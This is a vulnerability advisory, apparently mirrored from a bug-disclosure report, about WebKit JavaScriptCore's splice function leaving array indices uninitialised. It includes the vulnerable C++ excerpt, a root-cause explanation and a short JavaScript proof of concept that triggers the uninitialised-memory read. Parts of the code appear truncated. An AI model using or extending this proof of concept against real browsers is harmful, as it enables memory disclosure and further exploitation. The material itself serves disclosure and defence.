WebKit JSC arrayProtoFuncSplice Initialization Fail

WebKit JSC arrayProtoFuncSplice fails to initialize all indices.

MD5 | 4d0a74c97acf50fd14172466d02b2a18

WebKit: JSC: arrayProtoFuncSplice doesn't initialize all indices. 


Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
if (!result)
return JSValue::encode(throwOutOfMemoryError(exec, scope));

for (unsigned k = 0; k < actualDeleteCount; ++k) {
JSValue v = getProperty(exec, thisObj, k + actualStart);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (UNLIKELY(!v)) {
result->initializeIndex(vm, k, v);

|JSArray::tryCreateForInitializationPrivate| will return an uninitalized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.

function gc() {
for (let i = 0; i < 0x10; i++)
new ArrayBuffer(0x1000000);

Array.prototype.__defineGetter__(0x1000, () => 1);


for (let i = 0; i < 0x100; i++) {
new Array(0x100).fill(1234.5678);


print(new Array(0x100).splice(0));

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Related Posts